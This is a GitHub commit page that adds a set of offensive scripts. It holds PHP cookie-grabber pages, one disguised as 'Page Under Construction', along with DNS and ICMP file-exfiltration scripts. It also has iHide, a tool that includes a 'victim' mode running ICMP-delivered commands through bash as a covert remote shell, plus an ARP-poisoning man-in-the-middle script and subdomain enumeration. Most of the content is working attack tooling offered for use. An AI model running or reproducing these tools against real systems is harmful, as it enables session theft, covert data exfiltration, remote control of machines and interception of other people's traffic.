Skip to content

Commit 844d1d4

Browse files
ghost-ngghost-ng
committedAug 1, 2019
init
1 parent 42100d7 commit 844d1d4

17 files changed

+1004
-0
lines changed
 

‎AdvCGrab.php

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<?php
2+
function GetIP()
3+
{
4+
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
5+
$ip = getenv("HTTP_CLIENT_IP");
6+
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
7+
$ip = getenv("HTTP_X_FORWARDED_FOR");
8+
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
9+
$ip = getenv("REMOTE_ADDR");
10+
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
11+
$ip = $_SERVER['REMOTE_ADDR'];
12+
else
13+
$ip = "unknown";
14+
return($ip);
15+
}
16+
17+
function logData()
18+
{
19+
$ipLog="logadv.txt";
20+
$cookie = $_SERVER["sign"];
21+
$register_globals = (bool) ini_get('register_gobals');
22+
if ($register_globals) $ip = getenv('REMOTE_ADDR');
23+
else $ip = GetIP();
24+
25+
$rem_port = $_SERVER['REMOTE_PORT'];
26+
$user_agent = $_SERVER['HTTP_USER_AGENT'];
27+
$rqst_method = $_SERVER['METHOD'];
28+
$rem_host = $_SERVER['REMOTE_HOST'];
29+
$referer = $_SERVER['HTTP_REFERER'];
30+
$date=date ("l dS of F Y h:i:s A");
31+
$log=fopen("$ipLog", "a+");
32+
33+
if (preg_match("/bhtmb/i", $ipLog) || preg_match("/bhtmlb/i", $ipLog))
34+
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br-->");
35+
else
36+
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \r\n ");
37+
fclose($log);
38+
}
39+
40+
logData();
41+
echo '<center><p>Page Under Construction</p></center>'
42+
// this part is displayed if the page is visited directly, in order to avoid any suspicion...
43+
?>

‎CurlST.sh

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#accepted input - curl_server.sh DOMAIN or curl_server.sh FILE OUTPUT_FILE
2+
#DO NOT ENTER OUTPUT_FILE ARGUMENT IF NOT INPUTTING A FILE
3+
input="$1"
4+
output="$2"
5+
if [[ -f "${input}" ]]
6+
then
7+
#echo "this is a file"
8+
while read -r domain || [[ -n "$domain" ]]; do
9+
#curl -sD - -o /dev/null -A "Mozilla/4.0" http://$domain/ | tr -d '\r'| sed -e '/Server/p' -e '/Location/!d' | paste - -
10+
server_type=$(curl -m 10 -sD - -o /dev/null -A "Mozilla/4.0" http://$domain/ | tr -d '\r'| sed -e '/Server/!d')
11+
echo -e "$domain $server_type" >> $output
12+
done < "$input"
13+
else
14+
#echo "This is not a file"
15+
curl -sD - -o /dev/null -A "Mozilla/4.0" http://$input/ | tr -d '\r'| sed -e '/Server/p' -e '/Location/!d' | paste - - -d " "
16+
fi

‎EasyCGrab.php

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?php
2+
$cookie = $_GET["sign"];
3+
$steal = fopen("log.txt", "a+");
4+
fwrite($steal, $cookie . "\n");
5+
fclose($steal);
6+
?>

‎RandFileGen.py

+73
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
import string
2+
import random
3+
import os.path
4+
5+
def get_file_amt():
6+
global num_files
7+
print("**Try a small amount of files to learn the script's behavior first**")
8+
num_files = input("# of files to create=")
9+
num_files = int(num_files)
10+
11+
def get_wkdir():
12+
global wkdir
13+
print("What directory would you like the files to be created in?")
14+
print("**Example:")
15+
print("**C:\\Users\\username\\Documents\\ for Windows or /root/home/username/ for linux based OS")
16+
print("**")
17+
print("**If you don't add a slash as the last character then the prgm will interpret the characters as the filename.")
18+
19+
wkdir = input()
20+
if os.path.isdir(wkdir) is False:
21+
print("Invalid Path Name. Check path and try again")
22+
get_wkdir()
23+
pass
24+
25+
def create_files(filename, size, extension):
26+
try:
27+
file = open(filename, "wb")
28+
file.write(b"\0" * size)
29+
file.close()
30+
except IOError:
31+
print("I/O Error. Check permissions or path and try again")
32+
print("Ensure the directory ends with '/' or '\'")
33+
main()
34+
35+
def gen_random_type(size, chars):
36+
return ''.join(random.choice(chars) for x in range(size))
37+
38+
def gen_random_size(min_file_size, max_file_size):
39+
return random.randint(min_file_size, max_file_size)
40+
41+
def gen_random_filename(wkdir, count, extension):
42+
seq = (wkdir, str(count) , ".", extension)
43+
filename = ''.join(seq)
44+
return filename
45+
46+
def main():
47+
count = 1
48+
get_file_amt()
49+
get_wkdir()
50+
filename = ""
51+
52+
while count <= num_files:
53+
extension = gen_random_type(3, string.ascii_lowercase)
54+
size = gen_random_size(min_file_size, max_file_size)
55+
filename = gen_random_filename(wkdir, count, extension)
56+
create_files(filename, size, extension)
57+
count = count + 1
58+
59+
print(count-1, "Files created")
60+
exit()
61+
62+
#START
63+
global min_file_size
64+
global max_file_size
65+
66+
min_file_size = input("Lower limit(KB)=")
67+
max_file_size = input("Upper limit(KB)=")
68+
min_file_size = 1024 * int(min_file_size)
69+
max_file_size = 1024 * int(max_file_size)
70+
71+
#min_file_size = 1024 #in bytes
72+
#max_file_size = 5024 #in bytes
73+
main()

‎browsable.sh

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#work in progress
2+
#this script turns an smb created file into a file that can be browsed
3+
#when a file is created on a mac or windows it does not associated the
4+
#correct permissions and therfore does not add the correct www-data
5+
#group permissions
6+
#
7+
#input=owner of file
8+
owner1="$1"
9+
owner2="$2"
10+
owner3="$3"
11+
sudo chown -R $owner1:www-data /home/$owner1/
12+
sudo chown -R $owner2:www-data /home/$owner2/
13+
sudo chown -R $owner2:www-data /home/$owner3/

‎dns-rx.sh (depricated)

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/bin/bash
2+
#$1 - listening interface
3+
#$2 - save-as file
4+
#$3 - host that will be transmitting file
5+
#$4 - domain to extract
6+
while true; do
7+
if tcpdump -i eth0 port 53 and host $3 -l -n -s 0 -w - | tee temp1.pcap | grep -m 1 --line-buffered EOF; then
8+
echo "EOF reached"
9+
tcpdump port 53 and host $3 -n -r temp1.pcap | grep $4 | cut -d ' ' -f 8 | cut -d '.' -f 1 | uniq | sed -e 's/\(EOF\)*$//g' > ./.temp2
10+
break
11+
fi
12+
done
13+
base64 -d ./.temp2 > $2
14+
rm ./.temp2
15+
rm ./temp1.pcap

‎dns-tx.sh (depricated)

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#$1 - the input plain text file
2+
#$2 - the destination server IP
3+
#$3 - the FQDN
4+
#$4 - time out (sec) between lookups
5+
base64 -w 63 $1 > ./.temp1
6+
echo 'EOF' >> ./.temp1
7+
while IFS= read -r line || [ -n "$line" ]; do
8+
dig +time=$4 @$2 $line.$3;
9+
done < ./.temp1
10+
rm ./.temp1

‎gcurl

+119
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
#!/bin/bash
2+
OPTIND=1
3+
function cleanup {
4+
echo
5+
echo "All URLs are in '$domainURLs'"
6+
echo "All unique (sub)domains are in '$domainsubdomains'"
7+
echo
8+
echo "have a nice day"
9+
exit
10+
}
11+
function gcurl {
12+
if [[ "$arg" != *-f* ]] || [[ "$arg" != *-d* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-p* ]] || [[ "$arg" != *-r* ]] || [[ "$arg" != *-u* ]] || [[ "$arg" != *-t* ]]; then
13+
echo "Not enough flags/switches"
14+
echo "Run the -h command to view the help file"
15+
echo "Required flags: f,d,s,p,r,u,t"
16+
exit
17+
else
18+
count=$((count*10))
19+
total_pages=$((total_pages*10))
20+
while [ $count -lt $total_pages ]; do
21+
if [[ $arg == *"-v"* ]]; then
22+
echo "curl -A \"$useragent\" -skLm 10 \"https://www.google.com/search?tbs=li:1&q=allinurl:+-www+site:$domain&start=$count\""
23+
fi
24+
curl -A "Mozilla/5.0" -skLm 10 "https://www.google.com/search?tbs=li:1&q=allinurl:+-www+site:$domain&start=$count" | grep -oP '\/url\?q=.+?&amp' | sed 's|/url?q=||; s|&amp||' >> $domainURLs
25+
sleep $delay
26+
count=$((count+10))
27+
done
28+
sed -i '/webcache.googleusercontent.com/d' $domainURLs
29+
cat "$domainURLs" | cut -d/ -f3 | sort | uniq > "$domainsubdomains"
30+
echo "Clear screen and show domains? (y/n)"; read -n 1 answer
31+
if [[ "$answer" == "y" ]]; then
32+
clear
33+
cat $domainsubdomains
34+
fi
35+
cleanup
36+
fi
37+
}
38+
function helpmenu {
39+
echo "********************GCURL********************
40+
Usage: gcurl [options...]
41+
Options:
42+
-h This help mess.
43+
-f Save-As file.
44+
-d Domain to crawl for unique subdomains.
45+
-s Starting search page (0 for 1st page).
46+
-p Amount of Google search result pages (10 results per page).
47+
-r Rolling file to store URLs. Used to increase potential results over.
48+
a series of gcurl executions or can be used to resume searching after.
49+
previous results. Must know final search page to be completely effective.
50+
-u Define a user agent string. Maybe Mozilla/5.0? ('-' for Mozilla/4.0 default)
51+
-t Timeout (sec) for a delay between gcurl searches.
52+
-v Verbose mode. Shows amount of arguments and what they were. Not much
53+
here.
54+
*********************************************
55+
"
56+
exit
57+
}
58+
function versioninfo {
59+
echo "
60+
*****************gcurl*****************
61+
gcurl is a tool that automates google searches and returns
62+
a list of all subdomains within the search. It is used to
63+
determine which subdomains are readily visibly by search engines
64+
like google and can also be used to find public facing assets
65+
of a given domain (that google has indexed).
66+
67+
gcurl v1.0.0 Copyright (C) 2015
68+
This program comes with ABSOLUTELY NO WARRANTY;
69+
This is free software, and you are welcome to redistribute it
70+
under certain conditions
71+
Last Updated: 11/20/2015
72+
"
73+
exit
74+
}
75+
arg="$*"
76+
NUMARGS="$#"
77+
if [[ $arg == *"-v"* ]]; then
78+
echo "Number of arguments: $NUMARGS"
79+
echo "Arguments entered: $arg"
80+
fi
81+
#if you cannot have multiple flags at once use below
82+
#if [[ "$*" == *"-r"* ]] && [[ "$*" == *"-t"* ]]; then
83+
# echo "
84+
# =======================================================================
85+
# ERROR: You can only select -t OR -r NOT both, that wouldn't make sense.
86+
# ======================================================================="
87+
# echo "Try -h for the help menu"
88+
# exit
89+
#fi
90+
#if you need to declare flag arguments, use below
91+
if [ $NUMARGS -eq 0 ]; then
92+
helpmenu
93+
fi
94+
#use a colon after the flag that requires an argument
95+
while getopts "hf:r:d:p:s:u:t:v" option;
96+
do
97+
case $option in
98+
h|\?) helpmenu; exit;;
99+
v) if [[ $arg == "-v" ]]; then
100+
versioninfo
101+
exit
102+
fi;;
103+
f) domainsubdomains="$OPTARG";;
104+
r) domainURLs="$OPTARG";;
105+
d) domain="$OPTARG";;
106+
p) total_pages="$OPTARG";;
107+
d) domain="$OPTARG";;
108+
p) total_pages="$OPTARG";;
109+
s) count="$OPTARG";;
110+
u) if [[ "$OPTARG" = "-" ]]; then
111+
useragent="Mozilla/4.0"
112+
else
113+
useragent="$OPTARG"
114+
fi;;
115+
t) delay="$OPTARG";;
116+
esac
117+
done
118+
shift $((OPTIND-1))
119+
gcurl

‎google_curl.sh-1.0 (depricated)

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#!/bin/bash
2+
#This script will take 1 argument if needed [timeout] between google searches
3+
#to potentially avoid rate limiting
4+
timeout=$1
5+
total_pages=0
6+
count=0
7+
domain=""
8+
echo "What domain would you like to expand?"
9+
read domain
10+
echo "THIS SCRIPT WILL COMPOUND ON ANY PREVIOUS $domain-URLs.txt FILE"
11+
echo "TO MAXIMIZE THE POOL OF SUBDOMAIN RESULTS THAT COULD BE FOUND"
12+
echo "Enter the starting page (0 for 1st page)"
13+
read count
14+
count=$((count*10))
15+
echo "How many search result pages?"
16+
echo "(last search page; 10 results per page)"
17+
read total_pages
18+
total_pages=$((total_pages*10))
19+
while [ $count -lt $total_pages ]; do
20+
echo "https://www.google.com/search?tbs=li:1&q=allinurl:+-www+site:$domain&start=$count"
21+
curl -A "Mozilla/5.0" -skLm 10 "https://www.google.com/search?tbs=li:1&q=allinurl:+-www+site:$domain&start=$count" | grep -oP '\/url\?q=.+?&amp' | sed 's|/url?q=||; s|&amp||' >> $domain-URLs.txt
22+
sed -i '/webcache.googleusercontent.com/d' $domain-URLs.txt
23+
if [[ $timeout != "" ]]; then
24+
sleep $timeout
25+
fi
26+
count=$((count+10))
27+
done
28+
cat $domain-URLs.txt | cut -d/ -f3 | sort | uniq > $domain-subdomains.txt
29+
echo
30+
cat $domain-subdomains.txt
31+
echo
32+
echo "All URLs found are in $domain-URLs.txt"
33+
echo "All unique (sub)domains are in $domain-subdomains.txt"
34+
echo "have a nice day"

‎iHide

+216
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
#!/bin/bash
2+
OPTIND=1
3+
function cleanup {
4+
rm /tmp/temp -f
5+
kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null
6+
exit
7+
}
8+
function icmpreceive {
9+
if [[ "$arg" != *-e* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-i* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-r* ]]; then
10+
echo "Not enough flags/switches"
11+
echo "Run the -h command to view the help file"
12+
echo "Required flags: e,s,g,i,f,r"
13+
exit
14+
else
15+
hping3 $sflag --listen $signature -I $iface > /tmp/temp &
16+
if tail -f -n 1 -c 5 /tmp/temp | grep -m 1 -o --line-buffered $eof; then
17+
#kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null
18+
base64 -d /tmp/temp > $file
19+
#cp /tmp/temp $file
20+
sed -i "s/[\x0].*//g" $file; sed -i "/$eof.*/q" $file; sed -i "/$eof/d" $file
21+
cleanup
22+
fi
23+
fi
24+
}
25+
function icmptransfer {
26+
if [[ "$arg" != *-d* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-z* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-t* ]]; then
27+
echo "Not enough flags/switches"
28+
echo "Run the -h command to view the help file"
29+
echo "Required flags: d,s,f,z,c,t"
30+
exit
31+
else
32+
eof_string=$(cat /dev/urandom | tr -dc '_A-Z-a-z-0-9' | head -c 8)
33+
echo "EOF String: $eof_string ; use with the -e flag w/receiver"
34+
echo -n "Press any key to continue..."
35+
read
36+
base64 -w 60 $file > /tmp/temp
37+
#cp $file /tmp/temp -f
38+
echo $eof_string >> /tmp/temp
39+
echo "Transferring data. The receiver script will exit when finished."
40+
if hping3 $dflag --icmp --sign $sflag --file /tmp/temp -d $size -u -C $code 2>&1 | grep -q -o --line-buffered -m 1 EOF; then
41+
echo EOF Reached
42+
cleanup
43+
fi
44+
fi
45+
}
46+
function icmpcontrol {
47+
if [[ "$arg" != *-i* ]] || [[ "$arg" != *-j* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-d* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-k* ]]; then
48+
echo "Not enough flags/switches"
49+
echo "Run the -h command to view the help file"
50+
echo "Required flags: i,j,s,d,g,c,k"
51+
exit
52+
else
53+
hping3 -I $iface --listen $control_signature & hping3 $sflag --icmp --sign $signature --file ${VAR:-/dev/stdin} -d $dflag -C $code
54+
fi
55+
}
56+
function icmpvictim {
57+
if [[ "$arg" != *-i* ]] || [[ "$arg" != *-j* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-d* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-m* ]]; then
58+
echo "Not enough flags/switches"
59+
echo "Run the -h command to view the help file"
60+
echo "Required flags: i,j,s,d,g,c,m"
61+
exit
62+
else
63+
if [[ $background == true ]]; then
64+
(hping3 -I $iface --listen $signature | /bin/bash 2>&1 | hping3 $sflag --icmp --sign $control_signature --file ${VAR:-/dev/stdin} -d $dflag -C $code &)
65+
else
66+
hping3 -I $iface --listen $signature | /bin/bash 2>&1 | hping3 $sflag --icmp --sign $control_signature --file ${VAR:-/dev/stdin} -d $dflag -C $code
67+
fi
68+
fi
69+
}
70+
function helpmenu {
71+
echo "
72+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
73+
++++++++++++++++++++iHide: ICMP File Transfer and Receiving++++++++++++++++++++
74+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
75+
-h ----- This help mess
76+
-l ----- List the ICMP Types
77+
-v ----- version/about
78+
-a ----- auto cleanup
79+
*************Transmit Options*************
80+
-d ----- Destination server IP
81+
-s ----- Data stream signature
82+
-f ----- Input file to send
83+
-z ----- Data frame size
84+
-c ----- ICMP code
85+
-t ----- Transfer mode
86+
*************Receive Options*************
87+
-e ----- EOF string, retrieved from transfer script
88+
-s ----- The sender IP
89+
-g ----- The transmitted data's signature
90+
-i ----- Listening interface
91+
-f ----- The filename to save the file as
92+
-r ----- Receive mode
93+
**********Terminal Mode Options**********
94+
**************Experimental***************
95+
-i ----- listening interface
96+
-j ----- signature on controller
97+
-s ----- IP of controller; IP of victim with -k flag
98+
-d ----- data field size
99+
-g ----- victim machine signature
100+
-c ----- ICMP code
101+
-m ----- This is the victim machine
102+
-k ----- This is the controller (C2 Authority)
103+
**************Experimental***************
104+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
105+
Examples:
106+
----|Transfer|----
107+
Required flags: d,s,f,z,c,t
108+
iHide -d 10.0.1.4 -s sign -f ./passwds -z 48 -c 11 -t
109+
----|Receiver (On 8.8.8.8 machine from previous ex.)|----
110+
Required flags: e,s,g,i,f,r
111+
iHide -e [eof string] -s 10.0.1.7 -g sign -i eth0 -f saveas.txt -r
112+
Note1: Prior to sending the traffic, you must have a receiver setup on the destination server
113+
to catch the ICMP packets.
114+
Note2: You may need to preceed the scripts with sudo.
115+
Note3: Use the generated string in the transfer script with the -e flag in the receiver script
116+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
117+
}
118+
function icmptypes {
119+
echo "
120+
ICMP TYPE NUMBERS
121+
The Internet Control Message Protocol (ICMP) has many messages that
122+
are identified by a "type" field.
123+
Type 0 — Echo Reply
124+
Type 1 — Unassigned
125+
Type 2 — Unassigned
126+
Type 3 — Destination Unreachable
127+
Type 4 — Source Quench (Deprecated)
128+
Type 5 — Redirect
129+
Type 6 — Alternate Host Address (Deprecated)
130+
Type 7 — Unassigned
131+
Type 8 — Echo
132+
Type 9 — Router Advertisement
133+
Type 10 — Router Selection
134+
Type 11 — Time Exceeded
135+
Type 12 — Parameter Problem
136+
Type 13 — Timestamp
137+
Type 14 — Timestamp Reply
138+
Type 15 — Information Request (Deprecated)
139+
Type 16 — Information Reply (Deprecated)
140+
Type 17 — Address Mask Request (Deprecated)
141+
Type 18 — Address Mask Reply (Deprecated)
142+
Type 19 — Reserved (for Security)
143+
Types 20-29 — Reserved (for Robustness Experiment)
144+
Type 30 — Traceroute (Deprecated)
145+
Type 31 — Datagram Conversion Error (Deprecated)
146+
Type 32 — Mobile Host Redirect (Deprecated)
147+
Type 33 — IPv6 Where-Are-You (Deprecated)
148+
Type 34 — IPv6 I-Am-Here (Deprecated)
149+
Type 35 — Mobile Registration Request (Deprecated)
150+
Type 36 — Mobile Registration Reply (Deprecated)
151+
Types 37 — Domain Name Request (Deprecated)
152+
Types 38 — Domain Name Reply (Deprecated)
153+
Type 39 — SKIP (Deprecated)
154+
Type 40 — Photuris
155+
Type 41 — ICMP messages utilized by experimental mobility protocols such as Seamoby
156+
Types 42-252 — Unassigned
157+
Type 253 — RFC3692-style Experiment 1
158+
Type 254 — RFC3692-style Experiment 2"
159+
exit
160+
}
161+
function versioninfo {
162+
echo "
163+
*****************Scavenger*****************
164+
iHide is a script that leverages the optional data field to
165+
transmit contents via the ICMP protocol.
166+
iHide v0.9.0 Copyright (C) 2015
167+
This program comes with ABSOLUTELY NO WARRANTY;
168+
This is free software, and you are welcome to redistribute it
169+
under certain conditions
170+
Last Updated: 10/24/2015
171+
"
172+
exit
173+
}
174+
arg="$*"
175+
NUMARGS="$#"
176+
if [[ "$*" == *"-r"* ]] && [[ "$*" == *"-t"* ]] || [[ "$*" == *"-k"* ]] && [[ "$*" == *"-m"* ]]; then
177+
echo "
178+
=======================================================================
179+
ERROR: You can only select -t OR -r OR -k OR -m NOT a combination.
180+
======================================================================="
181+
echo "Try -h for the help menu"
182+
exit
183+
fi
184+
if [ $NUMARGS -eq 0 ]; then
185+
helpmenu
186+
fi
187+
while getopts "hvld:s:j:f:c:e:z:g:i:btrkm" option;
188+
do
189+
case $option in
190+
h|\?) helpmenu
191+
exit;;
192+
a) cleanup;;
193+
l) icmptypes;;
194+
f) if [[ "$OPTARG" = "-" ]]; then
195+
file="${VAR:-/dev/stdin}"
196+
stdin="true"
197+
else
198+
file="$OPTARG"
199+
fi;;
200+
d) dflag="$OPTARG";;
201+
c) code="$OPTARG";;
202+
j) control_signature="$OPTARG";;
203+
g) signature="$OPTARG";;
204+
s) sflag="$OPTARG";;
205+
i) iface="$OPTARG";;
206+
e) eof="$OPTARG";;
207+
v) versioninfo;;
208+
z) size="$OPTARG";;
209+
b) background=true;;
210+
t) icmptransfer;;
211+
r) icmpreceive;;
212+
k) icmpcontrol;;
213+
m) icmpvictim;;
214+
esac
215+
done
216+
shift $((OPTIND-1))

‎icmp-rx.sh (depricated)

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
#!/bin/bash
2+
#use the '-h' option to view the help (syntax) file
3+
#Usage: hping3 [sender ip] --listen [signature] -I [interface] > [file]
4+
while getopts h option
5+
do
6+
case "${option}"
7+
in
8+
h) echo "
9+
#-h - this help mess
10+
#\$1 - sending IP
11+
#\$2 - signature
12+
#\$3 - interface
13+
#\$4 - plain text file to save as
14+
#Usage: hping3 [sender ip] --listen [signature] -I [interface] > [file]
15+
"
16+
exit;;
17+
esac
18+
done
19+
hping3 $1 --listen $2 -I $3 > ./.temp1
20+
trap " " INT
21+
echo "passed trap"
22+
#cut -f1 -d '=' ./.temp1 | tr -d '\n' > ./.temp2
23+
#echo -n '==' | cat ./.temp2 - > ./exfil.base64
24+
#base64 -d ./exfil.base64 > $4
25+
#rm ./.temp2 & rm ./.temp1
26+
mv ./.temp1 ./$4
27+
rm ./.temp1

‎icmp-tx.sh (depricated)

+71
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#!/bin/bash
2+
#use the '-h' option to view the help (syntax) file
3+
#Option -C 11 is ttl exceeded preventing a reply
4+
#Usage: hping3 [dest ip] [signature] [tx file] [data frame size] [icmp type]
5+
while getopts hc option
6+
do
7+
case "${option}"
8+
in
9+
h) echo "
10+
#-b - base64 encode file (makes the file significantly bigger, taking much longer to transmit)
11+
#-h - this help mess
12+
#-c - display a list of ICMP codes
13+
#\$1 - destination IP
14+
#\$2 - signature
15+
#\$3 - plain text file
16+
#\$4 - data frame size (try 100)
17+
#\$5 - icmp type (try 11 - ttl exceeded)
18+
#Usage: hping3 [dest ip] [signature] [tx file] [data frame size] [icmp type]
19+
"
20+
exit;;
21+
c) echo "
22+
ICMP TYPE NUMBERS
23+
24+
The Internet Control Message Protocol (ICMP) has many messages that
25+
are identified by a "type" field.
26+
27+
Type Name Reference
28+
---- ------------------------- ---------
29+
0 Echo Reply [RFC792]
30+
1 Unassigned [JBP]
31+
2 Unassigned [JBP]
32+
3 Destination Unreachable [RFC792]
33+
4 Source Quench [RFC792]
34+
5 Redirect [RFC792]
35+
6 Alternate Host Address [JBP]
36+
7 Unassigned [JBP]
37+
8 Echo [RFC792]
38+
9 Router Advertisement [RFC1256]
39+
10 Router Selection [RFC1256]
40+
11 Time Exceeded [RFC792]
41+
12 Parameter Problem [RFC792]
42+
13 Timestamp [RFC792]
43+
14 Timestamp Reply [RFC792]
44+
15 Information Request [RFC792]
45+
16 Information Reply [RFC792]
46+
17 Address Mask Request [RFC950]
47+
18 Address Mask Reply [RFC950]
48+
19 Reserved (for Security) [Solo]
49+
20-29 Reserved (for Robustness Experiment) [ZSu]
50+
30 Traceroute [RFC1393]
51+
31 Datagram Conversion Error [RFC1475]
52+
32 Mobile Host Redirect [David Johnson]
53+
33 IPv6 Where-Are-You [Bill Simpson]
54+
34 IPv6 I-Am-Here [Bill Simpson]
55+
35 Mobile Registration Request [Bill Simpson]
56+
36 Mobile Registration Reply [Bill Simpson]
57+
37 Domain Name Request [Simpson]
58+
38 Domain Name Reply [Simpson]
59+
39 SKIP [Markson]
60+
40 Photuris [Simpson]"
61+
exit;;
62+
esac
63+
done
64+
#base64 -w 0 $3 > ./.target;;
65+
while true; do
66+
if hping3 $1 --icmp --sign $2 --file $3 -d $4 -u -C $5 2>&1 | grep -q --line-buffered -m 1 EOF; then
67+
echo "EOF Reached"
68+
exit
69+
fi
70+
done
71+
rm ./.target

‎mitm.py

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#Created by - unknown
2+
from scapy.all import *
3+
import sys
4+
import os
5+
import time
6+
7+
try:
8+
interface = raw_input("[*] Enter Desired Interface: ")
9+
victimIP = raw_input("[*] Enter Victim IP: ")
10+
gateIP = raw_input("[*] Enter Router IP: ")
11+
except KeyboardInterrupt:
12+
print "\n[*] User Requested Shutdown"
13+
print "[*] Exiting..."
14+
sys.exit(1)
15+
16+
print "\n[*] Enabling IP Forwarding...\n"
17+
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
18+
19+
def get_mac(IP):
20+
conf.verb = 0
21+
ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1)
22+
for snd,rcv in ans:
23+
return rcv.sprintf(r"%Ether.src%")
24+
25+
def reARP():
26+
27+
print "\n[*] Restoring Targets..."
28+
victimMAC = get_mac(victimIP)
29+
gateMAC = get_mac(gateIP)
30+
send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
31+
send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateMAC), count = 7)
32+
print "[*] Disabling IP Forwarding..."
33+
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
34+
print "[*] Shutting Down..."
35+
sys.exit(1)
36+
37+
def trick(gm, vm):
38+
send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst= vm))
39+
send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm))
40+
41+
def mitm():
42+
try:
43+
victimMAC = get_mac(victimIP)
44+
except Exception:
45+
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
46+
print "[!] Couldn't Find Victim MAC Address"
47+
print "[!] Exiting..."
48+
sys.exit(1)
49+
try:
50+
gateMAC = get_mac(gateIP)
51+
except Exception:
52+
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
53+
print "[!] Couldn't Find Gateway MAC Address"
54+
print "[!] Exiting..."
55+
sys.exit(1)
56+
print "[*] Poisoning Targets..."
57+
while 1:
58+
try:
59+
trick(gateMAC, victimMAC)
60+
time.sleep(1.5)
61+
except KeyboardInterrupt:
62+
reARP()
63+
break
64+
mitm()

‎rfiles.py

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
import stringimport randomimport os.path
2+
def get_file_amt():    global num_files    print("**Try a small amount of files to learn the script's behavior first**")    num_files = input("# of files to create=")    num_files = int(num_files)        def get_wkdir():    global wkdir    print("What directory would you like the files to be created in?")     print("**Example:")    print("**C:\\Users\\username\\Documents\\ for Windows or /root/home/username/ for linux based OS")    print("**")    print("**If you don't add a slash as the last character then the prgm will interpret the characters as the filename.")
3+
    wkdir = input()    if os.path.isdir(wkdir) is False:        print("Invalid Path Name.  Check path and try again")        get_wkdir()    pass    def create_files(filename, size, extension):    try:        file = open(filename, "wb")        file.write(b"\0" * size)        file.close()    except IOError:        print("I/O Error. Check permissions or path and try again")        print("Ensure the directory ends with '/' or '\'")        main()
4+
def gen_random_type(size, chars):    return ''.join(random.choice(chars) for x in range(size))
5+
def gen_random_size(min_file_size, max_file_size):    return random.randint(min_file_size, max_file_size)
6+
def gen_random_filename(wkdir, count, extension):    seq = (wkdir, str(count) , ".", extension)    filename = ''.join(seq)    return filename
7+
def main():    count = 1    get_file_amt()    get_wkdir()    filename = ""        while count <= num_files:        extension = gen_random_type(3, string.ascii_lowercase)        size = gen_random_size(min_file_size, max_file_size)        filename = gen_random_filename(wkdir, count, extension)        create_files(filename, size, extension)        count = count + 1         print(count-1, "Files created")    exit()    #STARTglobal min_file_sizeglobal max_file_size
8+
min_file_size = input("Lower limit(KB)=")max_file_size = input("Upper limit(KB)=")min_file_size = 1024 * int(min_file_size)max_file_size = 1024 * int(max_file_size)
9+
#min_file_size = 1024 #in bytes#max_file_size = 5024 #in bytesmain()

‎scavenger

+195
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
#!/bin/bash
2+
OPTIND=1
3+
function cleanup {
4+
clear
5+
sleep 4
6+
if [[ $arg != *"-v"* ]]; then
7+
echo "Cleaning up this mess..."
8+
